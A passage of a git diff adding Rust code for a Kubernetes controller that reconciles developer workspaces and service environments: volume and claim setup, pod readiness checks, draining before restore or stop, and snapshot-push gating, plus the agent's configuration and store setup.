pass + // re-runs instead of treating a half-built workspace as done. + Resolved::Wait { volume_ref, phase, cond, action } => { + let st = crd::WorkspaceStatus { + phase, + observed_generation: None, + volume_ref: volume_ref.or(prev.volume_ref.clone()), + conditions: vec![cond], + ..prev + }; + write_ws_status(w, st, ctx).await?; + return Ok(action); + } + }; + let id = vol.name_any(); + // The namespace is the OwnerBinding reconciler's to make; this one only waits for it. Creating + // it here as well is how it ended up with two writers. + // + // ponytail: a binding becoming ready wakes a waiting workspace only via its 15s requeue — + // mapping one binding to every waiting Workspace of that owner is a list per binding event, and + // the wait is bounded by one tick. Wire a `spec.owner`-indexed reflector if first-workspace + // latency ever shows up as a complaint. + if !binding::namespace_ready(ctx, &w.spec.region, &w.spec.owner).await? { + let st = crd::WorkspaceStatus { + phase: crd::Phase::Creating, + observed_generation: None, + volume_ref: Some(id), + conditions: vec![crd::condition( + binding::NAMESPACE_READY, + false, + "NamespaceNotReady", + "waiting for the owner's namespace", + gen, + )], + ..prev + }; + write_ws_status(w, st, ctx).await?; + return Ok(Action::requeue(TICK)); + } + + let ns = crd::ws_namespace(&w.spec.owner, &w.spec.team); + let owner_ref = owner_ref_of_kind(w)?; + let pod_ctx = k8s::PodContext { + pool: &ctx.pool, + node_name: &vol.spec.node_name, + owner_ref: owner_ref.clone(), + runtime_class: ctx.runtime_class.as_deref(), + }; + ensure( + &Api::::all(ctx.client.clone()), + &k8s::local_pv( + &k8s::pv_name(&id), + &k8s::live_path(&ctx.pool, &id), + "ReadWriteOnce", + vol.spec.quota_gb, + &w.spec.owner, + &pod_ctx, + ), + ) + .await?; + ensure( + &Api::::namespaced(ctx.client.clone(), &ns), + &k8s::claim( + &ns, + &k8s::claim_name(&id), + &k8s::pv_name(&id), + "ReadWriteOnce", + vol.spec.quota_gb, + &w.spec.owner, + &owner_ref, + ), + ) + .await?; + + ensure(&Api::::all(ctx.client.clone()), &k8s::local_pv(&k8s::nix_pv_name(&id), k8s::NIX_ROOT, "ReadOnlyMany", 1, &w.spec.owner, &pod_ctx)).await?; + ensure( + &Api::::namespaced(ctx.client.clone(), &ns), + &k8s::claim( + &ns, + &k8s::nix_claim_name(&id), + &k8s::nix_pv_name(&id), + "ReadOnlyMany", + 1, + &w.spec.owner, + &owner_ref, + ), + ) + .await?; + // Before the pod, never after: a container started on a stale profile is a workspace whose + // tools silently disagree with its spec. + if w.spec.desired_state == DesiredState::Running { + if let Some(action) = ensure_profile(w, &id, gen, &mut prev, ctx).await? { + return Ok(action); + } + // Same rule as the profile: the pod mounts this, so it exists first or sshd dies on boot. + ensure_ssh(w, &id, &ns, &owner_ref, &mut prev, ctx).await?; + } + + let pods: Api = Api::namespaced(ctx.client.clone(), &ns); + let (phase, pod_ref) = match w.spec.desired_state { + DesiredState::Running => { + // The seed rides on the VOLUME's source: what the disk was asked to be made from is + // the one place that answers "does this need cloning", legacy objects included. + let init = match vol.spec.source.as_ref() { + None => None, + Some(s) => { + match k8s::git_init_container(s, &ctx.git_init_image, &ctx.git_ssh_host, &ctx.git_ssh_port) { + Ok(c) => c, + // A name that can never be cloned is permanent, and no pod is started for + // it: the alternative is a pod whose init container fails forever. + Err(why) => { + let prev = prev.clone(); + return settle( + Outcome::Permanent(why, "InvalidSource"), + w, + "Workspace", + gen, + move |cond| { + serde_json::json!({ + "phase": crd::Phase::Error, + "nodeName": prev.node_name, + "compatibleNodes": prev.compatible_nodes, + "volumeRef": prev.volume_ref, + "conditions": [cond], + }) + }, + ctx, + ) + .await; + } + } + } + }; + create_if_absent(&pods, &k8s::workspace_pod(&w.spec, &id, &pod_ctx, init)).await?; + // Applying a pod is not a pod running. Read it back: a pod can sit Pending on an + // unschedulable node or CrashLoopBackOff on a bad image, and reporting Ready straight + // from the apply made a broken workspace indistinguishable from a working one. + if !pod_is_ready(&pods, &id).await? { + let st = crd::WorkspaceStatus { + phase: crd::Phase::Creating, + observed_generation: None, + volume_ref: Some(id.clone()), + pod_ref: Some(format!("{ns}/{id}")), + conditions: ws_conditions(&prev, crd::condition("Ready", false, "PodNotReady", "pod is not ready yet", gen)), + ..prev + }; + write_ws_status(w, st, ctx).await?; + return Ok(Action::requeue(TICK)); + } + // `ready`, not `running`: this string is deserialized into `model::WsState` by the + // `/v1` projection, which spells the running state `Ready`. An unknown phase does not + // error — it falls back to `Creating`, so a healthy workspace showed "Creating" in the + // UI forever. `phase_names_the_doc_enum` pins the vocabulary. + (crd::Phase::Ready, Some(format!("{ns}/{id}"))) + } + // Handled at the top of this function, before the Volume and namespace gates — stopping IS + // deleting the pod, and it must not depend on either being healthy. + DesiredState::Stopped => unreachable!("stopped is handled before the gates"), + }; + let st = crd::WorkspaceStatus { + phase, + observed_generation: Some(gen), + volume_ref: Some(id), + pod_ref, + conditions: ws_conditions(&prev, crd::condition("Ready", true, "Converged", "workspace matches spec", gen)), + ..prev + }; + write_ws_status(w, st, ctx).await?; + Ok(Action::await_change()) +} + +/// Whether the pod exists AND its `Ready` condition is true. A missing pod is "not ready", never an +/// error: that is the normal state between applying it and the kubelet creating it. +async fn pod_is_ready(pods: &Api, name: &str) -> Result { + let Some(pod) = pods.get_opt(name).await? else { + return Ok(false); + }; + Ok(pod + .status + .and_then(|s| s.conditions) + .is_some_and(|cs| cs.iter().any(|c| c.type_ == "Ready" && c.status == "True"))) +} + +async fn write_ws_status(w: &crd::Workspace, st: crd::WorkspaceStatus, ctx: &Arc) -> Result<(), ReconcileErr> { + if let Some(cur) = &w.status { + if cur.phase == st.phase + && cur.observed_generation == st.observed_generation + && cur.pod_ref == st.pod_ref + && cur.node_name == st.node_name + && cur.compatible_nodes == st.compatible_nodes + && cur.volume_ref == st.volume_ref + && conditions_eq(&cur.conditions, &st.conditions) + { + return Ok(()); + } + } + let api: Api = Api::all(ctx.client.clone()); + patch_status(&api, &w.name_any(), "Workspace", serde_json::to_value(&st).map_err(|e| ReconcileErr(e.to_string()))?) + .await +} + +// ── environments ───────────────────────────────────────────────────────── + +async fn reconcile_environment(e: Arc, ctx: Arc) -> Result { + apply_environment(&e, &ctx).await +} + +pub async fn apply_environment(e: &crd::Environment, ctx: &Arc) -> Result { + heal_labels(&Api::::all(ctx.client.clone()), e, &e.spec.owner, "", "environment").await?; + let gen = e.meta().generation.unwrap_or(0); + let mut prev = e.status.clone().unwrap_or_default(); + let owner_ref = owner_ref_of_kind(e)?; + // Same resolution as a workspace, including the release-1 adoption — an environment is + // team-owned, so it has no team of its own. + let vol = match resolve_volume( + e, + &e.spec.owner, + "", + &e.spec.region, + &e.spec.storage, + e.spec.node_name.as_deref(), + e.spec.volume_ref.as_deref(), + &mut prev.node_name, + &mut prev.volume_ref, + &prev.compatible_nodes, + gen, + ctx, + ) + .await? + { + Resolved::Ready(v) => *v, + Resolved::Settled(a) => return Ok(a), + // No StatefulSet may exist before the disk does: a pod bound to an unmaterialized subvolume + // wedges forever on `path … does not exist`. + Resolved::Wait { volume_ref, phase, cond, action } => { + let st = crd::EnvironmentStatus { + // An environment whose disk is being swapped is not being CREATED, and saying so + // is alarming in the one moment a person is already nervous: an in-flight restore + // keeps whatever phase this environment had. `Creating` is right only for a volume + // that has never been materialized. + phase: if e.spec.restore.is_some() && prev.phase != crd::Phase::Pending { prev.phase } else { phase }, + observed_generation: None, + volume_ref: volume_ref.or(prev.volume_ref.clone()), + conditions: vec![cond], + ..prev + }; + write_env_status(e, st, ctx).await?; + return Ok(action); + } + }; + let id = vol.name_any(); + + let ns = crd::env_namespace(&id); + let deployments: Api = Api::namespaced(ctx.client.clone(), &ns); + + // Before anything else, including the stop path: an environment that is being restored has no + // business converging its services against a disk that is about to be swapped underneath them. + if let Some(action) = restore_gate(e, &vol, &ns, &deployments, gen, ctx).await? { + return Ok(action); + } + + if e.spec.desired_state == DesiredState::Stopped { + // Already stopped at this generation: nothing to do. This guard is load-bearing now that + // the `stop-{env}` request is DELETED after teardown — without it the absence of that + // object reads as "no push requested yet", so every later event on a stopped environment + // would create a fresh request and push a snapshot nobody asked for, forever. + if e.status.as_ref().is_some_and(|s| s.phase == crd::Phase::Stopped && s.observed_generation == Some(gen)) { + return Ok(Action::await_change()); + } + // Stopped at an OLDER generation: the services were torn down after a push that landed, + // and nothing has run since, so there is nothing new on disk to push. A restore is the + // common way here (`restore_gate` above bumps the generation), and pushing the freshly + // restored subvolume as a new commit is a snapshot nobody asked for. Observe and stop. + if prev.phase == crd::Phase::Stopped { + let st = crd::EnvironmentStatus { observed_generation: Some(gen), volume_ref: Some(id), ..prev }; + write_env_status(e, st, ctx).await?; + return Ok(Action::await_change()); + } + // Scaled to zero and DRAINED before the push, not after: the pushed record is what a + // restore on another node reads back as this environment's last state, and a snapshot + // taken under a running database is crash-consistent at best. Same shape as the restore + // gate, same reason. The StatefulSets themselves are not deleted here — that still waits + // for the push to land, below. + if drain_services(e, &ns, &deployments, ctx).await? > 0 { + let st = crd::EnvironmentStatus { + phase: crd::Phase::Running, + observed_generation: None, + conditions: vec![crd::condition("Progressing", true, "Draining", "waiting for the services to stop", gen)], + ..prev + }; + write_env_status(e, st, ctx).await?; + return Ok(Action::requeue(TICK)); + } + // An environment that stops must push first. One push of the env's own subvolume covers + // every mounted volume atomically; an env torn down without it loses its last state for + // good, which is why the deletes below are gated on the push having landed, not merely + // requested. + if let Some(action) = await_stop_push(&vol, e, gen, ctx).await? { + return Ok(action); + } + for svc in &e.spec.services { + delete_ignoring_404(&deployments, &svc.name).await?; + } + // The stop request has served its purpose. Left behind, the NEXT stop of this environment + // would find a `done` object under the same fixed name and tear down without pushing at + // all — the exact data loss the wait above exists to prevent. + delete_ignoring_404(&Api::::all(ctx.client.clone()), &format!("stop-{}", e.name_any())) + .await?; + let st = crd::EnvironmentStatus { + phase: crd::Phase::Stopped, + observed_generation: Some(gen), + volume_ref: Some(id), + service_status: vec![], + conditions: vec![crd::condition("Ready", true, "Stopped", "pushed and stopped", gen)], + ..prev + }; + write_env_status(e, st, ctx).await?; + return Ok(Action::await_change()); + } + + ensure( + &Api::::all(ctx.client.clone()), + &k8s::namespace(&ns, &e.spec.owner, "environment", Some(&owner_ref)), + ) + .await?; + let policies = Api::::namespaced(ctx.client.clone(), &ns); + for p in k8s::default_policies(&ns, &e.spec.owner, &owner_ref) { + ensure(&policies, &p).await?; + } + // An environment's services are the likeliest place a private image appears, so this namespace + // needs the same scoped grant a workspace namespace gets — the API writes the pull credential + // here, and nowhere it has not been vouched for. + ensure( + &Api::::namespaced(ctx.client.clone(), &ns), + &k8s::api_secret_binding(&ns, &e.spec.owner, API_SERVICE_ACCOUNT, API_NAMESPACE, None), + ) + .await?; + // The env unit's ceiling, matching `service_deployment`'s resources: 4 GB limit, packed at the + // model's 1.5x oversubscription. Owned by the Environment — this namespace holds exactly one. + ensure( + &Api::::namespaced(ctx.client.clone(), &ns), + &k8s::limit_range(&ns, &e.spec.owner, "environment", &k8s::env_unit_resources(), Some(&owner_ref)), + ) + .await?; + let pod_ctx = k8s::PodContext { + pool: &ctx.pool, + node_name: &vol.spec.node_name, + owner_ref: owner_ref.clone(), + runtime_class: ctx.runtime_class.as_deref(), + }; + ensure( + &Api::::all(ctx.client.clone()), + &k8s::local_pv( + &k8s::pv_name(&id), + &k8s::live_path(&ctx.pool, &id), + "ReadWriteOnce", + vol.spec.quota_gb, + &e.spec.owner, + &pod_ctx, + ), + ) + .await?; + ensure( + &Api::::namespaced(ctx.client.clone(), &ns), + &k8s::claim( + &ns, + &k8s::claim_name(&id), + &k8s::pv_name(&id), + "ReadWriteOnce", + vol.spec.quota_gb, + &e.spec.owner, + &owner_ref, + ), + ) + .await?; + // Every declared folder must exist before a subPath binds it — and `validate_mount` here is a + // security check, not a formality: `create_dir_all` on an unvalidated folder is itself the + // escape, mkdir -p'ing outside the subvolume before a pod ever starts. + // On a blocking thread: `create_dir_all` is sync IO, and the pool can be a network-backed or + // busy disk. Same rule the module doc states for the btrfs work. + let live = ctx.engine.pool.live(&id); + let services = e.spec.services.clone(); + tokio::task::spawn_blocking(move || mkdir_env_mounts(&live, &services)) + .await + .map_err(|e| ReconcileErr(format!("mkdir panicked: {e}")))? + .map_err(ReconcileErr)?; + + // Services were Deployments before they were StatefulSets. A legacy one is deleted and its + // pods waited out BEFORE the StatefulSet is applied — the migration must not be the one + // rollout that runs two writers on the subvolume, which is the very thing it exists to end. + let legacy: Api = Api::namespaced(ctx.client.clone(), &ns); + let mut migrated = false; + for svc in &e.spec.services { + if legacy.get_opt(&svc.name).await?.is_some() { + delete_ignoring_404(&legacy, &svc.name).await?; + migrated = true; + } + } + if migrated { + let mut remaining = writing_pods(&ns, ctx).await?; + for _ in 0..40 { + if remaining == 0 { + break; + } + tokio::time::sleep(Duration::from_millis(250)).await; + remaining = writing_pods(&ns, ctx).await?; + } + if remaining > 0 { + tracing::info!(env = %id, "migration: waiting for the legacy Deployment's pods to exit"); + return Ok(Action::requeue(TICK)); + } + tracing::info!(env = %id, "migration: replaced the legacy Deployments with StatefulSets"); + } + + let services: Api = Api::namespaced(ctx.client.clone(), &ns); + for svc in &e.spec.services { + let set = k8s::service_statefulset(svc, &id, &e.spec.owner, &pod_ctx).map_err(ReconcileErr)?; + ensure(&deployments, &set).await?; + ensure(&services, &k8s::service_clusterip(svc, &id, &e.spec.owner, &owner_ref)).await?; + } + // Read each StatefulSet back rather than reporting `ready: true` from having applied it. A + // service whose image will not pull, or whose pod cannot schedule, was previously reported + // ready the instant its object existed — so `kubectl wait --for=condition=Ready + // environment` returned before anything was listening, and the only thing that noticed was a + // connectivity check failing two steps later. + let mut service_status = Vec::with_capacity(e.spec.services.len()); + for svc in &e.spec.services { + service_status.push(deployment_status(&deployments, &svc.name).await?); + } + let all_ready = service_status.iter().all(|s| s.ready); + let st = crd::EnvironmentStatus { + phase: crd::Phase::Running, + // Not converged until every service is: leaving it unobserved is what makes the next pass + // look again instead of declaring a half-up environment finished. + observed_generation: all_ready.then_some(gen), + service_status, + conditions: { + let mut c = vec![if all_ready { + crd::condition("Ready", true, "Converged", "environment matches spec", gen) + } else { + crd::condition("Ready", false, "ServicesNotReady", "one or more services are not ready", gen) + }]; + // Reaching here with a restore wish means the Volume already reports it materialized — + // the gate above is what stops anything else getting this far — so the services being + // ensured on this pass IS the scale back up, and this says the restore is over. + if e.spec.restore.is_some() { + c.push(crd::condition("Restoring", false, "Restored", "the snapshot is live", gen)); + } + c + }, + volume_ref: Some(id.clone()), + ..prev + }; + write_env_status(e, st, ctx).await?; + Ok(if all_ready { Action::await_change() } else { Action::requeue(TICK) }) +} + +/// One service's observed readiness, from the StatefulSet's own status. +/// +/// `readyReplicas >= 1`, not `replicas`: `replicas` is what was asked for, `readyReplicas` is what +/// is actually serving. A missing StatefulSet reports not-ready rather than erroring — it is the +/// ordinary gap between applying it and the API server materializing it. +async fn deployment_status(deployments: &Api, name: &str) -> Result { + let Some(d) = deployments.get_opt(name).await? else { + return Ok(crd::ServiceStatus { name: name.into(), ready: false, message: Some("statefulset not created yet".into()) }); + }; + let ready = d.status.as_ref().and_then(|s| s.ready_replicas).unwrap_or(0); + Ok(crd::ServiceStatus { + name: name.into(), + ready: ready >= 1, + message: (ready < 1).then(|| "no ready replicas".to_string()), + }) +} + +/// Pods in `ns` that can still be WRITING. A Succeeded or Failed pod holds no file handles and is +/// never collected on its own, so counting every pod in the namespace waits for something that +/// will not happen — a restore would hang forever behind a job that finished days ago. A pod that +/// is already terminating still counts: it has not exited yet. +async fn writing_pods(ns: &str, ctx: &Arc) -> Result { + let pods: Api = Api::namespaced(ctx.client.clone(), ns); + Ok(pods + .list(&kube::api::ListParams::default()) + .await? + .items + .into_iter() + .filter(|p| { + let phase = p.status.as_ref().and_then(|s| s.phase.as_deref()).unwrap_or("Pending"); + matches!(phase, "Running" | "Pending") + }) + .count()) +} + +/// `Some(action)` while an in-place restore is in flight; `None` when there is nothing to restore +/// or the Volume already reports the wished-for snapshot live. +/// +/// The order is the whole point. A restore rewrites the bytes a running service has open, so every +/// StatefulSet is scaled to ZERO and its pods are gone from the API server before the wish is copied +/// down to the child Volume — "no replicas" is not "no processes", and a database still flushing +/// into a subvolume that is being swapped is corruption nobody can attribute later. +/// +/// `spec.restore` is never cleared here: a controller does not edit the user's spec, and "done" is +/// expressible without it (`Volume.status.restoredTo == wish.snapshotId`). A second restore of the +/// same snapshot is a new `requestedAt`, which is a new generation, which the Volume's own guard +/// then sees as a new wish. +async fn restore_gate( + e: &crd::Environment, + vol: &crd::Volume, + ns: &str, + deployments: &Api, + gen: i64, + ctx: &Arc, +) -> Result, ReconcileErr> { + let Some(wish) = &e.spec.restore else { return Ok(None) }; + let st = vol.status.as_ref(); + if crd::wish_granted( + wish, + st.and_then(|s| s.restored_to.as_deref()), + st.and_then(|s| s.restore_requested_at.as_deref()), + ) { + return Ok(None); + } + + let remaining = drain_services(e, ns, deployments, ctx).await?; + let (reason, message) = match remaining { + 0 => ("Restoring", "materializing the snapshot"), + _ => ("Draining", "waiting for the services to stop"), + }; + if remaining == 0 && vol.spec.restore_to.as_ref() != Some(wish) { + let api: Api = Api::all(ctx.client.clone()); + let patch = serde_json::json!({"spec": {"restoreTo": wish}}); + api.patch(&vol.name_any(), &PatchParams::default(), &Patch::Merge(&patch)).await?; + } + let st = crd::EnvironmentStatus { + // Still `running`, exactly as the stop path is while it waits: `model::EnvState` has no + // `Working`, and an unknown phase silently projects as `Creating` — both wrong and + // alarming. The progress belongs in the condition below, which is where a reader looks. + phase: crd::Phase::Running, + // Deliberately unobserved: the restore is not finished, and the next pass has to look again. + observed_generation: None, + conditions: vec![crd::condition("Restoring", true, reason, message, gen)], + // `service_status` carried over, not blanked: it is the last thing known about these + // services, and replacing it with nothing reads as "this environment has no services". + ..e.status.clone().unwrap_or_default() + }; + write_env_status(e, st, ctx).await?; + Ok(Some(Action::requeue(TICK))) +} + +/// Scale every service to zero and wait, briefly, for its pods to be GONE. Returns how many are +/// still writing; zero means the subvolume has no open writers and may be snapshotted or swapped. +/// +/// Waited for HERE, in this pass: a database exits in about a second, and a restore or a stop is +/// the one moment a person is watching the clock, so handing the wait to the requeue would price +/// every one at a full tick. Bounded well under the pods' grace period; a service that is still +/// shutting down after this falls back to the pod watch, which wakes the pass that finishes. +async fn drain_services( + e: &crd::Environment, + ns: &str, + deployments: &Api, + ctx: &Arc, +) -> Result { + for svc in &e.spec.services { + // A merge patch on `replicas` alone: scaling is not a claim on the rest of a StatefulSet + // spec the reconcile re-applies a few lines later. + let patch = serde_json::json!({"spec": {"replicas": 0}}); + match deployments.patch(&svc.name, &PatchParams::default(), &Patch::Merge(&patch)).await { + Ok(_) => {} + // Nothing to scale down is the desired state already reached. + Err(kube::Error::Api(s)) if s.code == 404 => {} + Err(err) => return Err(err.into()), + } + } + let mut remaining = writing_pods(ns, ctx).await?; + for _ in 0..40 { + if remaining == 0 { + break; + } + tokio::time::sleep(Duration::from_millis(250)).await; + remaining = writing_pods(ns, ctx).await?; + } + Ok(remaining) +} + +/// `Some(action)` while the stop is still waiting on its push: create the request once, then +/// requeue until its own status says `done`. +/// +/// One object named `stop-{env}` per environment, not one per pass: a fresh request each pass +/// would be an unbounded stream of pushes for one stopping environment. It is DELETED once the +/// teardown below completes, so the next stop of the same environment creates a fresh one instead +/// of finding the old `done` and pushing nothing. +/// +/// Only `done` proceeds. An `error` leaves the environment RUNNING with `Ready=False` — its +/// StatefulSets scaled to zero by the drain but NOT deleted: an env torn down without a landed +/// push loses its last state for good, so a push that failed must stop the teardown rather than +/// wave it through. `await_change` is safe there because the environments +/// controller watches `SnapshotRequest` and maps it back here by ownerReference — so this +/// environment is woken by the request's own status moving, and by an operator deleting it and +/// letting the `None` arm below create a fresh one. +/// +/// The one `error` this retries itself is `AgentRestarted`: the push did not FAIL, the process +/// holding its handle died, and `/v1` has no delete for SnapshotRequests — so left alone, the +/// fixed-name request parks the environment until someone finds `kubectl`. A re-run is safe +/// there: the engine's `unpushed` stage mark makes a retried push resume, not re-snapshot. A real +/// `PushFailed` still parks, because a btrfs send that failed once fails the same way at TICK. +async fn await_stop_push( + vol: &crd::Volume, + e: &crd::Environment, + gen: i64, + ctx: &Arc, +) -> Result, ReconcileErr> { + let name = format!("stop-{}", e.name_any()); + let api: Api = Api::all(ctx.client.clone()); + // A request being deleted is ABSENT. The teardown deletes this object, and a `done` one that is + // still terminating (a finalizer holds it) would otherwise read as a landed push for the NEXT + // stop — tearing that one down without pushing at all. + let req = api.get_opt(&name).await?.filter(|r| r.metadata.deletion_timestamp.is_none()); + let mut phase = req.as_ref().map(|r| r.status.as_ref().map(|s| s.phase).unwrap_or(crd::Phase::Pending)); + let restarted = req + .as_ref() + .and_then(|r| r.status.as_ref()) + .is_some_and(|s| s.phase == crd::Phase::Error && s.conditions.iter().any(|c| c.reason == "AgentRestarted")); + if restarted { + delete_ignoring_404(&api, &name).await?; + // Absent now, so this same pass creates the fresh one (a 409 from a still-terminating + // object is the "same request" case below, and the next pass gets through). + phase = None; + } + match phase { + Some(crd::Phase::Done) => Ok(None), + Some(crd::Phase::Error) => { + let st = crd::EnvironmentStatus { + phase: crd::Phase::Running, + observed_generation: None, + service_status: vec![], + conditions: vec![crd::condition( + "Ready", + false, + "StopSnapshotFailed", + "the stop snapshot failed; the services are kept (scaled to zero) rather than lose their state", + gen, + )], + ..e.status.clone().unwrap_or_default() + }; + write_env_status(e, st, ctx).await?; + Ok(Some(Action::await_change())) + } + Some(_) => { + let st = crd::EnvironmentStatus { + // Still `running`: the StatefulSets exist (at zero) until the push lands, and + // `model::EnvState` has no `Stopping` — an unknown phase silently becomes + // `Creating`, which is both wrong and alarming. Progress belongs in the condition + // below, which is where a reader looks for it. + phase: crd::Phase::Running, + observed_generation: None, + service_status: vec![], + conditions: vec![crd::condition("Progressing", true, "PushBeforeStop", "waiting for the volume's push", gen)], + ..e.status.clone().unwrap_or_default() + }; + write_env_status(e, st, ctx).await?; + Ok(Some(Action::requeue(TICK))) + } + None => { + let mut req = crd::snapshot_request(&name, &e.spec.owner, &vol.name_any(), Some("stopping".into())); + // Owned by the Environment so the request's own events map back to this parent — that + // watch is what wakes the `error` arm above. NOT a cascade-delete convenience: the + // request is deleted explicitly after teardown, and by then it has already outlived + // its usefulness. + req.metadata.owner_references = Some(vec![owner_ref_of_kind(e)?]); + match api.create(&PostParams::default(), &req).await { + // Lost the race with our own earlier pass; it is the same request either way. + Ok(_) => {} + Err(kube::Error::Api(s)) if s.code == 409 => {} + Err(err) => return Err(err.into()), + } + Ok(Some(Action::requeue(TICK))) + } + } +} + +/// Every declared volume is a folder inside the env's ONE subvolume — mkdir -p each before a pod +/// binds it as a subPath. +fn mkdir_env_mounts(live: &std::path::Path, services: &[model::Service]) -> Result<(), String> { + let mut seen = std::collections::HashSet::new(); + for svc in services { + for m in &svc.mounts { + if seen.insert(m.folder.clone()) { + // `create_dir_all` on an unvalidated folder is itself the escape — it would + // happily mkdir -p outside the subvolume before a pod ever ran. + model::validate_mount(m)?; + std::fs::create_dir_all(live.join("volumes").join(&m.folder)).map_err(|e| e.to_string())?; + } + } + } + Ok(()) +} + +async fn write_env_status(e: &crd::Environment, st: crd::EnvironmentStatus, ctx: &Arc) -> Result<(), ReconcileErr> { + if let Some(cur) = &e.status { + if cur.phase == st.phase + && cur.observed_generation == st.observed_generation + && cur.node_name == st.node_name + && cur.compatible_nodes == st.compatible_nodes + && cur.volume_ref == st.volume_ref + && cur.service_status == st.service_status + && conditions_eq(&cur.conditions, &st.conditions) + { + return Ok(()); + } + } + let api: Api = Api::all(ctx.client.clone()); + patch_status( + &api, + &e.name_any(), + "Environment", + serde_json::to_value(&st).map_err(|e| ReconcileErr(e.to_string()))?, + ) + .await +} + +// ── shared plumbing ────────────────────────────────────────────────────── + +/// Server-side apply of a whole child object: level-triggered convergence in one call, and the one +/// thing that makes "someone deleted the StatefulSet by hand" a self-healing event. +pub(crate) async fn ensure(api: &Api, obj: &K) -> Result<(), ReconcileErr> +where + K: Resource + Clone + serde::Serialize + serde::de::DeserializeOwned + std::fmt::Debug, + K::DynamicType: Default, +{ + let name = obj.meta().name.clone().ok_or_else(|| ReconcileErr("child object has no name".into()))?; + api.patch(&name, &PatchParams::apply(crd::AGENT_FIELD_MANAGER).force(), &Patch::Apply(obj)).await?; + Ok(()) +} + +/// Create a Pod only when it is missing. +/// +/// NOT `ensure`. A Pod is immutable once created: re-applying its spec is refused with "pod updates +/// may not change fields other than `spec.containers[*].image`", so a server-side apply on every +/// reconcile turns the SECOND pass into a permanent error and the object never converges. That is +/// exactly what happened when the readiness gate started requeueing — the first pass created the +/// pod, and every pass after it failed. +/// +/// Convergence for a Pod is therefore "exists or does not". A spec change that matters (a new +/// image, a different slot) has to delete and recreate, which is a restart of the user's workspace +/// and belongs to an explicit action, not to a reconcile that happens to notice drift. +/// ponytail: no drift detection on the pod spec; a changed `image` or `resources` needs a stop and +/// start to take effect. +async fn create_if_absent(api: &Api, obj: &K) -> Result<(), ReconcileErr> +where + K: Resource + Clone + serde::Serialize + serde::de::DeserializeOwned + std::fmt::Debug, + K::DynamicType: Default, +{ + let name = obj.meta().name.clone().ok_or_else(|| ReconcileErr("child object has no name".into()))?; + if api.get_opt(&name).await?.is_some() { + return Ok(()); + } + match api.create(&kube::api::PostParams::default(), obj).await { + Ok(_) => Ok(()), + // Lost a race with our own earlier pass, or with the kubelet recreating it. Already done. + Err(kube::Error::Api(s)) if s.code == 409 => Ok(()), + Err(e) => Err(e.into()), + } +} + +/// A 404 is the desired state already reached, not an error — a stop that races a delete, or a +/// reconcile replayed after a restart. +async fn delete_ignoring_404(api: &Api, name: &str) -> Result<(), ReconcileErr> +where + K: Clone + serde::de::DeserializeOwned + std::fmt::Debug, +{ + match api.delete(name, &Default::default()).await { + Ok(_) => Ok(()), + Err(kube::Error::Api(s)) if s.code == 404 => Ok(()), + Err(e) => Err(e.into()), + } +} diff --git a/bins/agent/src/lib.rs b/bins/agent/src/lib.rs new file mode 100644 index 00000000..62cd76f1 --- /dev/null +++ b/bins/agent/src/lib.rs @@ -0,0 +1,706 @@ +//! Process setup for `rustic-git-agent`: the local `Engine`, the storage janitor, and the +//! Kubernetes client the node controller (`controller.rs`) reconciles with. The work itself is +//! there, not here — the CRD IS the work item, so there is no queue, no lease and no poll loop. + +use rustic_git_workspaces::engine::{blob, Engine, Pool}; +use rustic_git_workspaces::model::{LayerKind, LineageEntry}; +use rustic_git_workspaces::store::MetaStore; +use std::sync::Arc; + +pub mod binding; +pub mod claim; +pub mod controller; +pub mod nix; +pub mod snapshot; +pub mod sshkeys; + +/// Env-derived config shared by `run` and the `squash` subcommand — both need the same Engine. +pub struct Config { + pub api_url: String, + pub region: String, + pub agent_token: String, + pub pool: String, + pub hostname: String, + /// This node's name, from the downward-API `NODE_NAME`. It is the shard key: the controller + /// watches only objects whose `spec.nodeName` equals it. + pub node: String, +} + +impl Config { + /// Base URL for the agent work surface: `WS_REGISTRY_URL` names the SERVER tier, not + /// `bins/api`, which is where register/work/done/failed live. + pub fn from_env() -> Config { + let api_url = match std::env::var("WS_REGISTRY_URL") { + Ok(v) if !v.is_empty() => v, + _ => "http://127.0.0.1:8081".into(), + }; + Config { + api_url, + region: std::env::var("WS_REGION").unwrap_or_else(|_| "default".into()), + agent_token: std::env::var("WS_AGENT_TOKEN").unwrap_or_default(), + pool: std::env::var("WS_POOL").unwrap_or_else(|_| "/mnt/wspool".into()), + hostname: std::env::var("HOSTNAME").unwrap_or_else(|_| "agent".into()), + // Declared capacity is gone: the kubelet reports node allocatable, and a second + // hand-maintained copy of it is a second thing that can be wrong. + node: std::env::var("NODE_NAME").unwrap_or_default(), + } + } +} + +/// Build the region's blob store: Azure when `AZURE_ACCOUNT` is set, else the `S3_URL` MinIO +/// fallback used by tests (`engine::blob` already has both constructors). +pub fn blob_store() -> Arc { + match (std::env::var("AZURE_ACCOUNT"), std::env::var("AZURE_KEY"), std::env::var("AZURE_CONTAINER")) { + (Ok(a), Ok(k), Ok(c)) => blob::region_store(&a, &k, &c), + _ => blob::s3_store(), + } +} + +/// Construct the `Engine` this agent (or the detached `squash` subcommand) operates against. +/// `registry_url`/`agent_token` point the engine's `RegistryClient` at the same server tier +/// (and same token) the agent already uses for `register`/`work`/`jobs/*` — `WS_REGISTRY_URL` +/// serves both surfaces. +pub fn build_engine(pool: &str, meta: Arc, registry_url: &str, agent_token: &str) -> Engine { + Engine::new( + Pool::new(pool), + blob_store(), + meta, + rustic_git_workspaces::registry_client::RegistryClient::new(registry_url, agent_token), + ) +} + +/// Same `COSMOS_ENDPOINT`/`COSMOS_KEY`/`COSMOS_DB` convention as `bins/api`: unset means dev, +/// an in-memory store (fine for the agent's own tests, since the API side and this side must +/// share one store — real deployments always set these to point at the same Cosmos DB the API +/// bin uses). +pub async fn meta_store_from_env() -> Result, String> { + match std::env::var("COSMOS_ENDPOINT") { + Ok(endpoint) if !endpoint.is_empty() => { + let key = std::env::var("COSMOS_KEY").map_err(|_| "COSMOS_KEY required with COSMOS_ENDPOINT".to_string())?; + let db = std::env::var("COSMOS_DB").unwrap_or_else(|_| "rustic-git".into()); + Ok(Arc::new( + rustic_git_workspaces::cosmos::CosmosStore::new(&endpoint, &key, &db) + .await + .map_err(|e| format!("connecting to cosmos: {e:?}"))?, + )) + } + _ => Ok(Arc::new(rustic_git_workspaces::store::MemStore::new())), + } +} + +/// Boots the node controller: Engine, janitor, Kubernetes client, then reconcile forever. +pub async fn run(cfg: Config) -> Result<(), String> { + let meta = meta_store_from_env().await?; + let engine = Arc::new(build_engine(&cfg.pool, meta, &cfg.api_url, &cfg.agent_token)); + let nix_client: Arc = Arc::new(nix::RealNix { bin: "/nix/var/nix/profiles/default/bin".into() }); + 